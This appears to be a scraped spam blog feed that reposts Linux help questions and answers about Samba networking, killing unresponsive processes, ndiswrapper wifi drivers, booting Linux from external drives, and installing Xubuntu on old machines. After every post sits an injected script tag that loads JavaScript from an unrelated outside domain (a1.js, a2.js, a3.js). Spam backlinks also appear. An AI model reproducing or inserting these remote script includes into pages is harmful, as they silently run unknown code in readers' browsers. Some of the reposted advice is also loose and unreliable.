Ubuntu?<br>try mandriva, its one of the best linux ever use. this is the link http://www.mandriva.com/<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-25010783177979902532009-07-15T00:46:00.002-07:002009-07-15T00:46:42.950-07:00What will I need to make linux windows network?I have windows XP , vista , linux and windows server 2003 what protocols what else after I install the O.S s?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>What will I need to make linux windows network?<br>Hi, for Linux u can setup a samba share with your windows machines. If u r using opensuse, then go to yast choose network services, and then choose samba server to configure that, suse will do most of the work for u, and u can also click on windows domain membership and configure that as well. If u r using other linux systems like ubuntu then I am not sure, u will have to manually edit some samba configuration file.<br><br /><br /><br><br /><br />In any case in order to setup a network between a windows and linux system u will have to learn to configure a samba server, opensuse just makes it easier for u to do so.<br><br /><br /><br><br /><br />Take care!<br>Reply:You will need samba (smb) on the linux machine, and netbios running on all the windows boxes.<br><br /><br />Firewall on linux machine if enabled must allow incoming netbios ports<br><br /><br />Care to mention which version of linux? Not too important i guess as the same method applies, but different versions have different config tools.<br>Reply:U CAN INSTALL WINE SOFTWARE FOR AND ALSO SEARCH "INTER FACE IN WINDOWS AND LINUX " U CAN FIND MANY SOFTWARE<br>Reply:TCP/IP is universally accepted protocol for networking for any OS. <br><br /><br />For Linux, what others are saying is ok (samba share) but it is not a good option for security purposes. When you install Linux, you generally also install SSH2 (required for remote login via PUTTY). Then configure SSH2 config (/etc/ssh/sshd_config) not to PermitRootLogin. create a general user grant sudo access. Now on windows machines, download winscp client (from http://winscp.net), and connect via SFTP (between Linux and windows) with that user on Linux<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://wild-flowers1.blogspot.com/>wild flowers</a>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-88555601421183769452009-07-15T00:46:00.001-07:002009-07-15T00:46:26.643-07:00How to end unresponsive programs in Linux?I have Red-Hat Linux System installed in my laptop.Sometimes my laptop hangs because of some unresponsive program.Is there any way to force terminate that program like in windows?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How to end unresponsive programs in Linux?<br>Use the command 'ps' to list all running processes (do a 'man ps' for all possible switches). After that, use 'kill' to kill the process in question. 'kill -9' will force termination. Do a 'man kill' for more details on using it.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-87432240862390701612009-07-15T00:46:00.000-07:002009-07-15T00:46:12.377-07:00How do I get wireless Internet to work on Linux?I am using Susie linux 10.1. I am trying to get my wireless network capability that I use for windows on my laptop to work on Linux. I have not been able to have any success. I currently use a compaq pressario v2424NR. The wireless network adapter is called Broadcom 802.11b/g WLAN.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How do I get wireless Internet to work on Linux?<br>Try http://ndiswrapper.sourceforge.net/<br><br /><br /><br><br /><br />It lets you use your windows wireless driver in Linux.<br><br /><br /><br><br /><br />http://ndiswrapper.sourceforge.net/wiki/... lists several Broadcom devices that are known to work with ndiswrapper. You'll want to check the actual model number for your adapter. There's a good chance that it will work even if it's missing from that list.<br><br /><br /><br><br /><br />The main http://ndiswrapper.sourceforge.net/ has links for many helpful documents and forums that will help you install ndiswrapper and your windows driver.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-86370557721844009952009-07-15T00:45:00.003-07:002009-07-15T00:45:54.709-07:00Is it possible to run Linux from an external hard drive?I want to run Linux (ubuntu) from my new 500gb external hard drive. Do I just run the cd from my pc and have it save on the external hard drive? Also, do I have to remove the stuff I already have on the drive?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Is it possible to run Linux from an external hard drive?<br>I'm no linux expert, but I know this<br><br /><br /><br><br /><br />the bios has to support booting from external USB storage devices, and the installer has to support external USB storage, and most 'modern' computers do<br><br /><br /><br><br /><br />if your hard drive is formatted as something linux can support (FAT/32) than yes, I'd imagine it should install.<br>Reply:... careful buddy, you might just loose everything. <br><br /><br />many external HDDs dont have boot sectors, making them unable to boot to an OS... if this is the case, itll install on there, and write the boot sector to your internal hard drive.<br><br /><br />making it difficult for you to run the OS you already have.<br><br /><br /><br><br /><br />look on google for linux usb drive. or pendrive.<br><br /><br />theres walkthroughs there.<br><br /><br />\<br>Reply:Yes, I ran ubuntu off a jump drive before<br>Reply:yes once you make it bootable and your bios can handle it works on most computers made in the last three years<br>Reply:http://www.mepis.org/node/11991<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0tag:blogger.com,1999:blog-5073394972438629166.post-29785847202219885092009-07-15T00:45:00.002-07:002009-07-15T00:45:36.261-07:00How do I install RedHat Linux on an old windows 98 computer?I really need a complete and Comprehensive set of instructions. I have an old HP runing 98, and well... I hate 98. So i would like to use and try Linux. Or if there is a cool apple Mac os emulater that would run, that would be great. Please help me!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How do I install RedHat Linux on an old windows 98 computer?<br>If this is going to be your first outing with Linux I would suggest something more straightforward.<br><br /><br /><br><br /><br />I would say you give Xubuntu 7.10 a try as it runs well on older machines. Full information, support and download details can be found on the link below :<br><br /><br /><br><br /><br />http://www.xubuntu.org/<br><br /><br /><br><br /><br />Good luck.<br><br /><br /><br><br /><br />LUg.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://2stalk.blogspot.com/>stalk</a>nerfmfhttp://www.blogger.com/profile/04870737344631974562noreply@blogger.com0